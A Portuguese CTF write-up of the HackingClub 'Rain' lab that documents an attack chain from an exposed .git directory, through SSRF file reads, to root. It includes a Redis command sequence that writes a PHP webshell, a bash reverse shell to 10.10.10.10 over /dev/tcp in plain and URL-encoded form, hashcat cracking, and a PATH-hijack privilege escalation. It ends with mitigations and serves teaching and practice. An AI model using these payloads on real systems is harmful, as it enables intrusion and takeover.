CTF — Writeup: De Reconnaissance a Root

Target: Rain ☔ Dificuldade: Dificil 🐔 Plataforma: HackingClub Sistema Operacional: Linux Tempo de Exploração: 7–8 hrs (Esse foi o tempo que eu levei) Vulnerabilidades conhecidas: Git Exposed, SSRF, Local File Read, Redis, RCE, Path Hijacking Status: PWNED 🎯

Este writeup documenta a solução completa de um CTF que envolveu múltiplas vulnerabilidades encadeadas, desde reconnaissance inicial até privilege escalation para root. O ambiente apresentava 4 flags distribuídas através de diferentes vetores de ataque, exigindo uma abordagem metodológica e o domínio de várias técnicas de penetration testing.

Objetivo: Encontrar 4 flags através da exploração de vulnerabilidades.

Fase 1: Reconnaissance e Enumeração

Análise Inicial da Aplicação

O primeiro passo foi acessar a aplicação web que apresentava apenas uma página com uma imagem de chuva animada. A análise do código fonte revelou informações iniciais importantes:

Pagina web

Vamos dar uma olhada nesse style.css

<link rel="stylesheet" href="./style.css">

O arquivo CSS mostrava URLs externas sendo carregadas:

Talvez um SSRF?

section {
    background-image: url('/HenriPrestes_02.jpg');
}
section::before {
    background-image: url('http://pngimg.com/uploads/rain/rain_PNG13468.png');
}

Port Scanning e Service Discovery

Fiz um scan rapido;

nmap -sV -sC 172.16.7.200

Resultados:

• 22/tcp: SSH OpenSSH 7.4
• 80/tcp: HTTP (PHP 7.4.26) — WorldSkills WebServer
• 443/tcp: HTTPS (PHP 7.4.26) — WorldSkills WebServer
• 111/tcp: RPC

Parti para o Directory Enumeration.

dirsearch -u http://172.16.7.200 -e php,html,js,txt

Descobertas importantes:

• /robots.txt - Continha diretório restrito
• /admin-secret-panel/ - Panel administrativo
• /search/ - Diretório com redirect 301

O que é o robots.txt?

O arquivo robots.txt é um padrão web usado por sites para se comunicar com web crawlers e bots de motores de busca. Ele informa a esses programas automatizados quais partes do site eles devem ou não devem acessar.

Quando realizamos a enumeração de diretórios no alvo, encontramos:

User-agent: *
Disallow: /admin-secret-panel/
Allow: /search

Detalhando essa configuração:

**User-agent: ***

• O asterisco (*) significa que esta regra se aplica a TODOS os web crawlers

**Disallow: /admin-secret-panel/**

• Isso instrui os crawlers a NÃO indexar ou visitar o diretório /admin-secret-panel/
• Do ponto de vista de segurança, isso é problemático porque revela a existência de um diretório sensível
• É essencialmente como anunciar “Ei, há um painel de admin aqui, mas não olhe para ele”

**Allow: /search**

• Isso permite explicitamente que os crawlers acessem o diretório /search

Acesso ao Admin Panel

O admin panel era protegido por autenticação básica que foi facilmente bypassada com credenciais padrão:

Credenciais: admin:admin

O panel mostrava uma mensagem “This admin panel is currently under construction” mas isso era apenas o começo.

Fase 2: Git Exposed — Source Code Extraction

Descoberta do Repositório Git

Através de directory enumeration mais detalhada no admin panel:

Descoberta crítica: .git directory exposto em /admin-secret-panel/.git/

Extração do Código Fonte

Eu usei o git-dumper, mas da pra fazer com outras tools tambem.

git-dumper http://172.16.13.206/admin-secret-panel/.git/ ./admin_git/

Análise do Código Extraído

Estrutura do projeto:

admin_git/
├── .git/
├── includes/
│   ├── AuthController.php
│   └── HomeController.php
├── index.php
└── views/
    ├── admin.php
    ├── login.php
    └── test.php

index.php — Primeira Flag e Actions Descobertas

A primeira flag veio explorando .git, estava em um index.php

test.php — SSRF Vulnerability Discovery

O arquivo test.php foi o mais interessante, e revelou uma vulnerabilidade crítica de SSRF:

<?php 
if(isset($_POST['url'])){
    $url = $_POST['url'];
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $result = curl_exec($ch);
    curl_close($ch);
    echo $result;
}
?>

Esta descoberta foi fundamental: um formulário que aceita URLs e faz requisições via cURL!

AuthController.php — Database Credentials

Usuario e senha do banco no AuthController.php

Ja tinha bastante coisa pra brincar, hora de colocar tudo isso a prova.

Fase 3: SSRF e Local File Read Exploitation

Acessando o Endpoint SSRF

Com as informações do código fonte, foi possível acessar o endpoint vulnerável:

Foi aqui que começou a exploração de verdade!

Apos algumas tentativas, consegui ler o /etc/passwd, achei nosso ponto de entrada e padrão a ser explorado.

Descoberta da Configuração do Redis

Através do LFI, foi possível ler o arquivo de configuração do Redis:

Eu não sabia aonde procurar, pois o output era gigante. Então comecei a buscar por palavras chaves como username, password, key, e encontrei a segunda flag e a senha do REDIS.

Fase 4: Redis Exploitation e RCE

Acesso Direto ao Redis

Com a senha em mãos, agora o ponto era explorar o REDIS.

Retornou OK, entao estamos dentro!

Tentativa de RCE via Redis:

Procurei na net, e encontrei esse artigo aqui falando sobre: https://hacktricks.boitatech.com.br/pentesting/6379-pentesting-redis

172.16.14.17:6379> FLUSHALL
172.16.14.17:6379> SET webshell "<?php system($_GET['cmd']); ?>"
172.16.14.17:6379> CONFIG SET dir /var/www/html
172.16.14.17:6379> CONFIG SET dbfilename shell.php
172.16.14.17:6379> SAVE
(error) ERR

Mas eu tive um problema, o SAVE falhou!

Mas então lembrei do diretório /search que encontramos durante enumeração, mandei pra lá funcionou! /var/www/html/search

Aqui está nossa queria webshelzin.php

Tudo certo para começar o proximo passo, uma reverse shell.

Logamos com o usuario John!

Estabelecendo Reverse Shell

Com a webshell criada em /search/webshelzin.php, foi possível estabelecer uma reverse shell:

# Listener
nc -lvnp 4444

# Payload via webshell
http://172.16.7.103/search/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'

Eu tentei passei direto, mas não funcionou (como eu havia imaginado), então passei um URL Enconde, e agora sim!

http://172.16.7.103/search/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261%27

Usuário obtido: john

Fase 5: Database Exploitation e Password Cracking

Acesso ao MySQL

Não encontrei a flag com esse usuário, então o próximo passo foi voltar e usar a senha que pegamos no AuthController.php, e buscar por info no banco de dados.

Com o acesso ao MySQL, consegui info sobre o usuario sysadmin.

A senha estava estava com hash de bcrypt, usei o hashcat para quebrar, foi bem rápido até, 7 segundos.

hashcat -m 3200 -a 0 hashes.txt rockyou.txt

Com a senha do Sysadmin, agora era hora de logar com a conta desse usuario.

Depois disso foi facil encontrar 3 flag;

Interessante foi item em vermelho chamado code, possivelmente uma dica para a próxima flag.

Análise do Binário CODE

Fiz uma analise básica, para entender o que era e as permissões do arquivo em questão.

Esta seção representa uma das descobertas mais críticas na nossa fase de escalação de privilégios. Vou detalhar cada aspecto do que estamos vendo aqui.

A Saída do ls -la code

-rwsr-xr-x 1 root root 8328 Mar  6  2022 code

Permissões do Arquivo: -rwsr-xr-x

• **-**: Este é um arquivo regular (não um diretório d ou link l)
• **rws**: Permissões do proprietário (root)
• **r**: Root pode ler o arquivo
• **w**: Root pode escrever no arquivo
• **s: CRÍTICO** - Este é o bit SUID ao invés do x normal

Por que Isso é uma Mina de Ouro para Atacantes

Condições da Tempestade Perfeita:

1. Bit SUID definido — Executa como root
2. Pertence ao root — Privilégios máximos
3. Executável por todos — Qualquer usuário pode executar
4. Localizado no diretório do usuário — Fácil acesso
5. Binário customizado — Provavelmente tem vulnerabilidades

Técnicas Comuns de Exploração SUID

1. Execução Direta de Comandos

Se o binário executa comandos do sistema, podemos tentar:

• Injetar comandos
• Manipular argumentos
• Explorar o parsing de comandos

2. Path Hijacking (Nosso método bem-sucedido)

Se o binário chama outros programas sem caminhos completos:

# Binário chama "date" ao invés de "/bin/date"
# Podemos criar um "date" malicioso em /tmp
# Modificar PATH para encontrar nossa versão primeiro

3. Library Hijacking

Como é dinamicamente linkado, podemos potencialmente:

• Substituir bibliotecas compartilhadas
• Usar LD_PRELOAD para injetar código

4. Buffer Overflow

Binários customizados frequentemente têm:

• Problemas de validação de entrada
• Vulnerabilidades de corrupção de memória

🏴‍☠️ Processo de Exploração

Passo 1: Entendendo o comportamento

Passo 2: Hipótese

• Binário provavelmente chama o comando date internamente
• Provavelmente usa system("date") ou similar

Passo 3: Configuração do Path Hijacking

# Criar comando date malicioso
echo '#!/bin/bash' > /tmp/date
echo '/bin/bash' >> /tmp/date
chmod +x /tmp/date

# Sequestrar PATH
export PATH=/tmp:$PATH

# Executar o codigo
./code

Foi mais tranquilo do que eu pensei;

O root veio!

Depois disso era so buscar a ultima flag para fechar o desafio!

Ultima flag capturada!

Por que o Path Hijacking Funcionou

O código vulnerável provavelmente era assim:

#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("Custom print date: \n");
    system("date");  // VULNERÁVEL - sem caminho completo!
    return 0;
}

Ao invés de código seguro:

system("/bin/date");  // SEGURO - caminho completo

Esta descoberta foi a peça final do nosso quebra-cabeça de escalação de privilégios, demonstrando como um único binário mal configurado pode levar ao comprometimento completo do sistema.

Resumo das Vulnerabilidades Exploradas

1. Information Disclosure

• Git Exposed: Código fonte completo exposto.

2. Authentication Bypass

• Weak Credentials: admin:admin para admin panel.
• Password Cracking: Hashes bcrypt quebrados com hashcat.

3. Server-Side Request Forgery (SSRF)

• Endpoint: /admin-secret-panel/index.php?action=unlock_panel_for_test
• Impact: Acesso a serviços internos (Redis).

4. Local File Inclusion (LFI)

• Vector: Protocolo file:/// via formulário SSRF.
• Impact: Leitura completa do filesystem.

5. Database Exposure

• Redis: Credenciais em arquivo de configuração.
• MySQL: Credenciais hardcoded no código fonte.

6. Remote Code Execution (RCE)

• Vector: Redis write to webroot + webshell.
• Impact: Execução de comandos como usuário web.

7. Privilege Escalation

• SUID Binary: Binário com setuid bit explorado via path hijacking.
• Impact: Escalação de sysadmin para root.

Lições Aprendidas e Mitigações

Mitigações por Vulnerabilidade

Git Exposed

• Configurar .gitignore adequadamente.
• Remover .git de ambientes de produção.
• Usar ferramentas de scan para verificar exposição.

SSRF

• Validar e sanitizar URLs de entrada.
• Implementar whitelist de hosts permitidos.
• Usar bibliotecas seguras para requisições HTTP.

LFI

• Nunca passar input do usuário diretamente para funções de arquivo.
• Implementar validação rigorosa de paths.
• Usar chroot ou containers para isolamento.

Database Security

• Nunca hardcodar credenciais no código.
• Usar variáveis de ambiente ou vaults.
• Implementar princípio do menor privilégio.

SUID Binaries

• Evitar SUID quando possível.
• Usar paths absolutos em binários SUID.
• Implementar validação rigorosa de entrada.

Metodologia de Approach

Este CTF demonstrou a importância de uma abordagem metodológica:

1. Reconnaissance sistemático.
2. Enumeração completa de serviços.
3. Análise de código fonte quando disponível.
4. Encadeamento de vulnerabilidades.
5. Documentação completa do processo.

Conclusão

Este CTF apresentou um cenário realístico que cobriu múltiplas vulnerabilidades comuns em ambientes reais.

O encadeamento das vulnerabilidades mostrou como uma única falha de segurança (Git exposed) pode levar à compromissão completa do sistema através de uma cadeia de exploração bem executada.

Total de flags capturadas: 4/4. Técnicas utilizadas: 7 vetores de ataque diferentes. Tempo aproximado: Várias horas de exploração sistemática (8hrs+)

Este exercício demonstra a importância da implementação de múltiplas camadas de segurança e da aplicação do princípio de defesa em profundidade em ambientes de produção.